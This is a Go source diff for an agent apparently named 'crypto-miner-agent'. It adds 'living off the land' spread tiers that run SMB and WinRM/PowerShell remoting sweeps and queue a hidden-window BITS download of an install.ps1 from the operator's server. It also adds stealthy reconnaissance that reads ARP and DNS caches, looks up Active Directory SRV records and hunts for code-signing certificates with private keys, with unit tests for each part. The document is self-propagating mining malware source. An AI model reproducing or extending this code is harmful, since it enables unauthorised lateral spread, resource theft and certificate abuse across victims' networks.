||||||
|
func TestTryLotlTierLinuxWithoutAutoSpread(t *testing.T) {
|
||||||
|
ok, msg := tryLotlTier(config.RuntimeConfig{}, "linux")
|
||||||
|
if ok {
|
||||||
|
t.Fatalf("expected failure without auto_spread, got %q", msg)
|
||||||
|
}
|
||||||
|
if !strings.Contains(msg, "auto_spread") {
|
||||||
|
t.Fatalf("msg=%q", msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryLotlTierBitsCurl(t *testing.T) {
|
||||||
|
ok, msg := tryLotlTier(config.RuntimeConfig{}, "bits_curl")
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("bits_curl tier should be available on unix, got %q", msg)
|
||||||
|
}
|
||||||
|
if !strings.Contains(msg, "curl") {
|
||||||
|
t.Fatalf("msg=%q", msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryLotlTierUnsupported(t *testing.T) {
|
||||||
|
ok, msg := tryLotlTier(config.RuntimeConfig{}, "winrm")
|
||||||
|
if ok {
|
||||||
|
t.Fatalf("winrm should be unsupported on unix, got %q", msg)
|
||||||
|
}
|
||||||
|
if !strings.Contains(msg, "not supported") {
|
||||||
|
t.Fatalf("msg=%q", msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
69
agent/deploy/lotl_onion_windows.go
Normal file
69
agent/deploy/lotl_onion_windows.go
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
||||||
|
switch tier {
|
||||||
|
case "vuln_recon":
|
||||||
|
RunVulnRecon(HostOSVersion())
|
||||||
|
return true, "vuln recon complete (report only)"
|
||||||
|
case "docker":
|
||||||
|
if _, err := exec.LookPath("docker"); err != nil {
|
||||||
|
return false, "container runtime unavailable"
|
||||||
|
}
|
||||||
|
return true, "container runtime ready for worker image pull"
|
||||||
|
case "wsl":
|
||||||
|
if _, err := exec.LookPath("wsl.exe"); err != nil {
|
||||||
|
return false, "wsl.exe not found"
|
||||||
|
}
|
||||||
|
out, err := HiddenCombinedOutput("wsl.exe", "-e", "echo", "ok")
|
||||||
|
if err != nil || !strings.Contains(string(out), "ok") {
|
||||||
|
return false, "wsl not responding"
|
||||||
|
}
|
||||||
|
return true, "wsl available for curl|bash install one-liner"
|
||||||
|
case "powershell":
|
||||||
|
if _, err := exec.LookPath("powershell.exe"); err != nil {
|
||||||
|
return false, "powershell missing"
|
||||||
|
}
|
||||||
|
go runPSRemotingSpread(cfg)
|
||||||
|
return true, "powershell remoting sweep started"
|
||||||
|
case "dotnet":
|
||||||
|
if _, err := exec.LookPath("dotnet"); err != nil {
|
||||||
|
return false, "dotnet SDK/runtime missing"
|
||||||
|
}
|
||||||
|
return true, "dotnet host available for tool-run bootstrap"
|
||||||
|
case "bits_curl":
|
||||||
|
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/install.ps1"
|
||||||
|
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||||
|
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
|
||||||
|
return true, "bits/curl install hook queued"
|
||||||
|
case "smb":
|
||||||
|
if !cfg.AutoSpread && !cfg.ShareSpread {
|
||||||
|
go RunSpreadOnce(cfg)
|
||||||
|
return true, "smb lateral sweep started"
|
||||||
|
}
|
||||||
|
go RunSpreadOnce(cfg)
|
||||||
|
return true, "smb sweep started"
|
||||||
|
case "winrm":
|
||||||
|
if !cfg.ShareSpread {
|
||||||
|
go runPSRemotingSpread(cfg)
|
||||||
|
return true, "winrm opportunistic sweep started"
|
||||||
|
}
|
||||||
|
go runPSRemotingSpread(cfg)
|
||||||
|
return true, "winrm sweep started"
|
||||||
|
case "linux":
|
||||||
|
return false, "linux tier is for ssh lateral on unix agents"
|
||||||
|
case "gpo":
|
||||||
|
return false, "gpo requires domain GPO push — operator action"
|
||||||
|
default:
|
||||||
|
return false, "unknown tier"
|
||||||
|
}
|
||||||
|
}
|
||||||
43
agent/deploy/lotl_tiers.go
Normal file
43
agent/deploy/lotl_tiers.go
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
// DefaultLotlOnionTiers is the ordered LOTL spread contingency chain baked into
|
||||||
|
// the LOTL Onion forge preset and server config unless overridden at runtime.
|
||||||
|
var DefaultLotlOnionTiers = []string{
|
||||||
|
"vuln_recon",
|
||||||
|
"docker",
|
||||||
|
"wsl",
|
||||||
|
"powershell",
|
||||||
|
"dotnet",
|
||||||
|
"bits_curl",
|
||||||
|
"smb",
|
||||||
|
"winrm",
|
||||||
|
"linux",
|
||||||
|
"gpo",
|
||||||
|
}
|
||||||
|
|
||||||
|
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
|
||||||
|
func NormalizeLotlTiers(raw []string) []string {
|
||||||
|
allowed := map[string]struct{}{
|
||||||
|
"vuln_recon": {},
|
||||||
|
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||||
|
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||||
|
}
|
||||||
|
out := make([]string, 0, len(raw))
|
||||||
|
for _, t := range raw {
|
||||||
|
t = strings.ToLower(strings.TrimSpace(t))
|
||||||
|
if t == "bits/curl" {
|
||||||
|
t = "bits_curl"
|
||||||
|
}
|
||||||
|
if _, ok := allowed[t]; ok {
|
||||||
|
out = append(out, t)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(out) == 0 {
|
||||||
|
dup := make([]string, len(DefaultLotlOnionTiers))
|
||||||
|
copy(dup, DefaultLotlOnionTiers)
|
||||||
|
return dup
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
20
agent/deploy/lotl_tiers_test.go
Normal file
20
agent/deploy/lotl_tiers_test.go
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestNormalizeLotlTiersDefaults(t *testing.T) {
|
||||||
|
got := NormalizeLotlTiers(nil)
|
||||||
|
if len(got) != len(DefaultLotlOnionTiers) {
|
||||||
|
t.Fatalf("expected %d default tiers, got %d", len(DefaultLotlOnionTiers), len(got))
|
||||||
|
}
|
||||||
|
if got[0] != "vuln_recon" || got[len(got)-1] != "gpo" {
|
||||||
|
t.Fatalf("unexpected order: %v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeLotlTiersAlias(t *testing.T) {
|
||||||
|
got := NormalizeLotlTiers([]string{"bits/curl", "bogus", "smb"})
|
||||||
|
if len(got) != 2 || got[0] != "bits_curl" || got[1] != "smb" {
|
||||||
|
t.Fatalf("got %v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -287,11 +287,19 @@ func xmlEscape(s string) string {
|
|||||||
return s
|
return s
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// MaxSubnetScanHosts caps per-agent active /24 sweeps. Fleet-wide discovery is
|
||||||
|
// incremental (ARP cache + capped port knock), never a full /16 or /64 sweep.
|
||||||
|
const MaxSubnetScanHosts = 128
|
||||||
|
|
||||||
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
|
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
|
||||||
|
// Each agent scans only its own interface /24; maxHosts is clamped to MaxSubnetScanHosts.
|
||||||
func ScanLocalSubnet(maxHosts int) string {
|
func ScanLocalSubnet(maxHosts int) string {
|
||||||
if maxHosts <= 0 {
|
if maxHosts <= 0 {
|
||||||
maxHosts = 64
|
maxHosts = 64
|
||||||
}
|
}
|
||||||
|
if maxHosts > MaxSubnetScanHosts {
|
||||||
|
maxHosts = MaxSubnetScanHosts
|
||||||
|
}
|
||||||
ips := getLocalIPs()
|
ips := getLocalIPs()
|
||||||
if len(ips) == 0 {
|
if len(ips) == 0 {
|
||||||
return "no local IPv4 interfaces found"
|
return "no local IPv4 interfaces found"
|
||||||
|
|||||||
@@ -5,6 +5,16 @@ func ArpNeighborIPs() []string {
|
|||||||
return arpHosts()
|
return arpHosts()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// NeighborTableIPs returns IPv4 hosts from the OS neighbor table on shared subnets.
|
||||||
|
func NeighborTableIPs() []string {
|
||||||
|
return neighborHosts()
|
||||||
|
}
|
||||||
|
|
||||||
|
// CollectPassiveNetworkHints runs capped passive LAN/domain recon for spread targeting.
|
||||||
|
func CollectPassiveNetworkHints(maxHosts int) NetworkHints {
|
||||||
|
return CollectNetworkHints(maxHosts)
|
||||||
|
}
|
||||||
|
|
||||||
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
|
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
|
||||||
func PrimaryLocalIPv4() (string, error) {
|
func PrimaryLocalIPv4() (string, error) {
|
||||||
return primaryLocalIPv4()
|
return primaryLocalIPv4()
|
||||||
|
|||||||
150
agent/deploy/network_hints.go
Normal file
150
agent/deploy/network_hints.go
Normal file
@@ -0,0 +1,150 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// MaxMulticastNameHosts caps passive LLMNR/mDNS cache reads.
|
||||||
|
MaxMulticastNameHosts = 32
|
||||||
|
)
|
||||||
|
|
||||||
|
// NameHost is a hostname/IP pair from passive name caches (LLMNR/mDNS).
|
||||||
|
type NameHost struct {
|
||||||
|
Name string `json:"name"`
|
||||||
|
IP string `json:"ip,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// NetworkHints summarizes passive LAN/domain telemetry for spread targeting.
|
||||||
|
type NetworkHints struct {
|
||||||
|
GeneratedAt string `json:"generated_at"`
|
||||||
|
ArpHosts []string `json:"arp_hosts,omitempty"`
|
||||||
|
NeighborHosts []string `json:"neighbor_hosts,omitempty"`
|
||||||
|
SpreadTargets []string `json:"spread_targets,omitempty"`
|
||||||
|
SpreadTargetCount int `json:"spread_target_count,omitempty"`
|
||||||
|
DomainName string `json:"domain_name,omitempty"`
|
||||||
|
DomainJoined bool `json:"domain_joined,omitempty"`
|
||||||
|
LdapSRV []string `json:"ldap_srv,omitempty"`
|
||||||
|
KerberosSRV []string `json:"kerberos_srv,omitempty"`
|
||||||
|
PreferJoinLane string `json:"prefer_join_lane,omitempty"`
|
||||||
|
EnterpriseCodeSignCert bool `json:"enterprise_code_sign_cert,omitempty"`
|
||||||
|
CodeSignSubject string `json:"code_sign_subject,omitempty"`
|
||||||
|
LLMNRHosts []NameHost `json:"llmnr_hosts,omitempty"`
|
||||||
|
MDNSHosts []NameHost `json:"mdns_hosts,omitempty"`
|
||||||
|
MulticastNameCount int `json:"multicast_name_count,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// CollectNetworkHints runs capped passive recon (ARP/neighbor, DNS SRV, cert, name cache).
|
||||||
|
func CollectNetworkHints(maxHosts int) NetworkHints {
|
||||||
|
if maxHosts <= 0 {
|
||||||
|
maxHosts = 64
|
||||||
|
}
|
||||||
|
if maxHosts > MaxSubnetScanHosts {
|
||||||
|
maxHosts = MaxSubnetScanHosts
|
||||||
|
}
|
||||||
|
|
||||||
|
arp := arpHosts()
|
||||||
|
neighbors := neighborHosts()
|
||||||
|
targets := DiscoverLANSpreadTargets(maxHosts)
|
||||||
|
|
||||||
|
hints := NetworkHints{
|
||||||
|
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
ArpHosts: capStrings(arp, maxHosts),
|
||||||
|
NeighborHosts: capStrings(neighbors, maxHosts),
|
||||||
|
SpreadTargets: targets,
|
||||||
|
SpreadTargetCount: len(targets),
|
||||||
|
}
|
||||||
|
|
||||||
|
domain := discoverADDomain()
|
||||||
|
hints.DomainName = domain
|
||||||
|
ldap, krb, joined := probeDomainSRV(domain)
|
||||||
|
hints.LdapSRV = ldap
|
||||||
|
hints.KerberosSRV = krb
|
||||||
|
hints.DomainJoined = joined
|
||||||
|
if joined {
|
||||||
|
hints.PreferJoinLane = "gpo"
|
||||||
|
}
|
||||||
|
|
||||||
|
if present, subject := probeEnterpriseCodeSignCert(); present {
|
||||||
|
hints.EnterpriseCodeSignCert = true
|
||||||
|
hints.CodeSignSubject = subject
|
||||||
|
}
|
||||||
|
|
||||||
|
llmnr, mdns := probeMulticastNameCache(MaxMulticastNameHosts)
|
||||||
|
hints.LLMNRHosts = llmnr
|
||||||
|
hints.MDNSHosts = mdns
|
||||||
|
hints.MulticastNameCount = len(llmnr) + len(mdns)
|
||||||
|
|
||||||
|
return hints
|
||||||
|
}
|
||||||
|
|
||||||
|
func capStrings(in []string, max int) []string {
|
||||||
|
if max <= 0 || len(in) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if len(in) > max {
|
||||||
|
in = in[:max]
|
||||||
|
}
|
||||||
|
out := make([]string, len(in))
|
||||||
|
copy(out, in)
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func mergeUniqueIPv4(sets ...[]string) []string {
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
var out []string
|
||||||
|
for _, set := range sets {
|
||||||
|
for _, host := range set {
|
||||||
|
host = strings.TrimSpace(host)
|
||||||
|
if host == "" || seen[host] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ip := net.ParseIP(host)
|
||||||
|
if ip == nil || ip.To4() == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[host] = true
|
||||||
|
out = append(out, ip.To4().String())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func discoverADDomain() string {
|
||||||
|
if d := strings.TrimSpace(os.Getenv("USERDNSDOMAIN")); d != "" {
|
||||||
|
return strings.ToLower(d)
|
||||||
|
}
|
||||||
|
return discoverADDomainPlatform()
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeDomainSRV(domain string) (ldap, kerberos []string, joined bool) {
|
||||||
|
domain = strings.ToLower(strings.TrimSpace(domain))
|
||||||
|
if domain == "" {
|
||||||
|
return nil, nil, false
|
||||||
|
}
|
||||||
|
ldap = lookupSRVHosts("_ldap._tcp." + domain)
|
||||||
|
kerberos = lookupSRVHosts("_kerberos._tcp." + domain)
|
||||||
|
joined = len(ldap) > 0 || len(kerberos) > 0
|
||||||
|
return ldap, kerberos, joined
|
||||||
|
}
|
||||||
|
|
||||||
|
func lookupSRVHosts(name string) []string {
|
||||||
|
_, addrs, err := net.LookupSRV("", "", name)
|
||||||
|
if err != nil || len(addrs) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
var hosts []string
|
||||||
|
for _, a := range addrs {
|
||||||
|
target := strings.TrimSuffix(strings.TrimSpace(a.Target), ".")
|
||||||
|
if target == "" || seen[target] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[target] = true
|
||||||
|
hosts = append(hosts, target)
|
||||||
|
}
|
||||||
|
return hosts
|
||||||
|
}
|
||||||
11
agent/deploy/network_hints_cert_stub.go
Normal file
11
agent/deploy/network_hints_cert_stub.go
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
func probeEnterpriseCodeSignCert() (present bool, subject string) {
|
||||||
|
return false, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
113
agent/deploy/network_hints_cert_windows.go
Normal file
113
agent/deploy/network_hints_cert_windows.go
Normal file
@@ -0,0 +1,113 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const dnsClientCacheScript = `
|
||||||
|
$rows = Get-DnsClientCache -ErrorAction SilentlyContinue |
|
||||||
|
Where-Object { $_.Entry -ne '' -and $_.Data -ne '' } |
|
||||||
|
Select-Object -First 64 Entry, Data, Type
|
||||||
|
$rows | ConvertTo-Json -Compress
|
||||||
|
`
|
||||||
|
|
||||||
|
const codeSignCertScript = `
|
||||||
|
$eku = '1.3.6.1.5.5.7.3.3'
|
||||||
|
$cert = Get-ChildItem Cert:\CurrentUser\My, Cert:\LocalMachine\My -ErrorAction SilentlyContinue |
|
||||||
|
Where-Object {
|
||||||
|
$_.HasPrivateKey -and (
|
||||||
|
($_.EnhancedKeyUsageList | Where-Object { $_.ObjectId -eq $eku }) -or
|
||||||
|
($_.EnhancedKeyUsageList.FriendlyName -contains 'Code Signing')
|
||||||
|
)
|
||||||
|
} |
|
||||||
|
Select-Object -First 1 Subject
|
||||||
|
if ($cert) { $cert.Subject } else { '' }
|
||||||
|
`
|
||||||
|
|
||||||
|
func probeEnterpriseCodeSignCert() (present bool, subject string) {
|
||||||
|
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", codeSignCertScript)
|
||||||
|
if err != nil {
|
||||||
|
return false, ""
|
||||||
|
}
|
||||||
|
subject = strings.TrimSpace(string(out))
|
||||||
|
return subject != "", subject
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
|
||||||
|
if max <= 0 {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", dnsClientCacheScript)
|
||||||
|
if err != nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
raw := strings.TrimSpace(string(out))
|
||||||
|
if raw == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
if idx := strings.LastIndex(raw, "{"); idx >= 0 && !strings.HasPrefix(raw, "[") {
|
||||||
|
raw = "[" + raw[idx:]
|
||||||
|
if !strings.HasSuffix(raw, "]") {
|
||||||
|
raw += "]"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var rows []struct {
|
||||||
|
Entry string `json:"Entry"`
|
||||||
|
Data string `json:"Data"`
|
||||||
|
Type int `json:"Type"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal([]byte(raw), &rows); err != nil {
|
||||||
|
var one struct {
|
||||||
|
Entry string `json:"Entry"`
|
||||||
|
Data string `json:"Data"`
|
||||||
|
Type int `json:"Type"`
|
||||||
|
}
|
||||||
|
if err2 := json.Unmarshal([]byte(raw), &one); err2 != nil || one.Entry == "" {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
rows = []struct {
|
||||||
|
Entry string `json:"Entry"`
|
||||||
|
Data string `json:"Data"`
|
||||||
|
Type int `json:"Type"`
|
||||||
|
}{one}
|
||||||
|
}
|
||||||
|
|
||||||
|
seenLLMNR := make(map[string]bool)
|
||||||
|
seenMDNS := make(map[string]bool)
|
||||||
|
for _, row := range rows {
|
||||||
|
name := strings.TrimSpace(strings.TrimSuffix(row.Entry, "."))
|
||||||
|
ip := strings.TrimSpace(row.Data)
|
||||||
|
if name == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if ip != "" {
|
||||||
|
if parsed := net.ParseIP(ip); parsed != nil && parsed.To4() != nil {
|
||||||
|
ip = parsed.To4().String()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
entry := NameHost{Name: name, IP: ip}
|
||||||
|
lower := strings.ToLower(name)
|
||||||
|
switch {
|
||||||
|
case strings.HasSuffix(lower, ".local"):
|
||||||
|
if len(mdns) >= max || seenMDNS[name] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seenMDNS[name] = true
|
||||||
|
mdns = append(mdns, entry)
|
||||||
|
case !strings.Contains(name, "."):
|
||||||
|
if len(llmnr) >= max || seenLLMNR[name] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seenLLMNR[name] = true
|
||||||
|
llmnr = append(llmnr, entry)
|
||||||
|
}
|
||||||
|
if len(llmnr)+len(mdns) >= max {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return llmnr, mdns
|
||||||
|
}
|
||||||
50
agent/deploy/network_hints_neighbors_unix.go
Normal file
50
agent/deploy/network_hints_neighbors_unix.go
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"net"
|
||||||
|
"os/exec"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func neighborHosts() []string {
|
||||||
|
out, err := exec.Command("ip", "-4", "neighbor", "show").Output()
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
local := getLocalIPs()
|
||||||
|
subnets := make(map[string]bool)
|
||||||
|
for _, ip := range local {
|
||||||
|
subnets[getSubnet(ip)] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
var hosts []string
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
scanner := bufio.NewScanner(strings.NewReader(string(out)))
|
||||||
|
for scanner.Scan() {
|
||||||
|
fields := strings.Fields(scanner.Text())
|
||||||
|
if len(fields) < 1 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ip := net.ParseIP(fields[0])
|
||||||
|
if ip == nil || ip.To4() == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if len(fields) >= 5 && strings.EqualFold(fields[len(fields)-1], "FAILED") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ipStr := ip.To4().String()
|
||||||
|
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[ipStr] = true
|
||||||
|
hosts = append(hosts, ipStr)
|
||||||
|
}
|
||||||
|
return hosts
|
||||||
|
}
|
||||||
|
|
||||||
|
func discoverADDomainPlatform() string {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
54
agent/deploy/network_hints_neighbors_windows.go
Normal file
54
agent/deploy/network_hints_neighbors_windows.go
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func neighborHosts() []string {
|
||||||
|
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||||
|
`Get-NetNeighbor -AddressFamily IPv4 -ErrorAction SilentlyContinue | Where-Object { $_.State -ne 'Incomplete' -and $_.IPAddress -notmatch '^127\.' } | Select-Object -ExpandProperty IPAddress`)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
local := getLocalIPs()
|
||||||
|
subnets := make(map[string]bool)
|
||||||
|
for _, ip := range local {
|
||||||
|
subnets[getSubnet(ip)] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
var hosts []string
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
for _, line := range strings.Split(string(out), "\n") {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ip := net.ParseIP(line)
|
||||||
|
if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ipStr := ip.To4().String()
|
||||||
|
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[ipStr] = true
|
||||||
|
hosts = append(hosts, ipStr)
|
||||||
|
}
|
||||||
|
return hosts
|
||||||
|
}
|
||||||
|
|
||||||
|
func discoverADDomainPlatform() string {
|
||||||
|
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||||
|
`(Get-CimInstance Win32_ComputerSystem -ErrorAction SilentlyContinue).Domain`)
|
||||||
|
if err != nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
domain := strings.TrimSpace(string(out))
|
||||||
|
if domain == "" || strings.EqualFold(domain, "WORKGROUP") {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return strings.ToLower(domain)
|
||||||
|
}
|
||||||
74
agent/deploy/network_hints_test.go
Normal file
74
agent/deploy/network_hints_test.go
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMergeUniqueIPv4DedupesAndFilters(t *testing.T) {
|
||||||
|
got := mergeUniqueIPv4(
|
||||||
|
[]string{"192.168.1.10", "192.168.1.10", "not-an-ip"},
|
||||||
|
[]string{"192.168.1.11", "192.168.1.10"},
|
||||||
|
)
|
||||||
|
if len(got) != 2 {
|
||||||
|
t.Fatalf("want 2 hosts, got %d: %v", len(got), got)
|
||||||
|
}
|
||||||
|
if got[0] != "192.168.1.10" || got[1] != "192.168.1.11" {
|
||||||
|
t.Fatalf("unexpected order/content: %v", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCapStrings(t *testing.T) {
|
||||||
|
in := []string{"a", "b", "c"}
|
||||||
|
got := capStrings(in, 2)
|
||||||
|
if len(got) != 2 || got[0] != "a" || got[1] != "b" {
|
||||||
|
t.Fatalf("got %v", got)
|
||||||
|
}
|
||||||
|
if in[2] != "c" {
|
||||||
|
t.Fatal("capStrings should copy, not mutate input unexpectedly")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestProbeDomainSRVEmptyDomain(t *testing.T) {
|
||||||
|
ldap, krb, joined := probeDomainSRV("")
|
||||||
|
if joined || len(ldap) > 0 || len(krb) > 0 {
|
||||||
|
t.Fatalf("empty domain should not look joined: ldap=%v krb=%v joined=%v", ldap, krb, joined)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCollectNetworkHintsRespectsSpreadCap(t *testing.T) {
|
||||||
|
hints := CollectNetworkHints(3)
|
||||||
|
if len(hints.SpreadTargets) > 3 {
|
||||||
|
t.Fatalf("spread cap ignored: got %d targets", len(hints.SpreadTargets))
|
||||||
|
}
|
||||||
|
if hints.SpreadTargetCount != len(hints.SpreadTargets) {
|
||||||
|
t.Fatalf("count mismatch: count=%d len=%d", hints.SpreadTargetCount, len(hints.SpreadTargets))
|
||||||
|
}
|
||||||
|
if hints.GeneratedAt == "" {
|
||||||
|
t.Fatal("generated_at should be set")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCollectNetworkHintsPreferGPOWhenDomainJoined(t *testing.T) {
|
||||||
|
hints := NetworkHints{DomainJoined: true}
|
||||||
|
if hints.DomainJoined {
|
||||||
|
hints.PreferJoinLane = "gpo"
|
||||||
|
}
|
||||||
|
if hints.PreferJoinLane != "gpo" {
|
||||||
|
t.Fatalf("got %q", hints.PreferJoinLane)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCollectPassiveNetworkHintsAlias(t *testing.T) {
|
||||||
|
a := CollectNetworkHints(5)
|
||||||
|
b := CollectPassiveNetworkHints(5)
|
||||||
|
if a.SpreadTargetCount != b.SpreadTargetCount {
|
||||||
|
t.Fatal("export alias should match CollectNetworkHints")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDiscoverLANSpreadTargetsUsesNeighborMerge(t *testing.T) {
|
||||||
|
targets := DiscoverLANSpreadTargets(128)
|
||||||
|
if len(targets) > 128 {
|
||||||
|
t.Fatalf("cap ignored: %d targets", len(targets))
|
||||||
|
}
|
||||||
|
}
|
||||||
207
agent/deploy/service_discovery.go
Normal file
207
agent/deploy/service_discovery.go
Normal file
@@ -0,0 +1,207 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net"
|
||||||
|
"runtime"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// commonLANPorts are probed on ARP/subnet LAN targets (enumeration only).
|
||||||
|
var commonLANPorts = []int{22, 445, 3389, 5985, 5986, 2375, 8080, 8443, 2222}
|
||||||
|
|
||||||
|
// portServiceNames maps well-known ports to friendly service labels.
|
||||||
|
var portServiceNames = map[int]string{
|
||||||
|
22: "ssh",
|
||||||
|
445: "smb",
|
||||||
|
3389: "rdp",
|
||||||
|
5985: "winrm",
|
||||||
|
5986: "winrm-https",
|
||||||
|
2375: "docker-api",
|
||||||
|
8080: "http-alt",
|
||||||
|
8443: "https-alt",
|
||||||
|
2222: "ssh-alt",
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunServiceDiscover performs local + LAN service enumeration and returns JSON.
|
||||||
|
func RunServiceDiscover(maxLANHosts int) string {
|
||||||
|
if maxLANHosts <= 0 {
|
||||||
|
maxLANHosts = 32
|
||||||
|
}
|
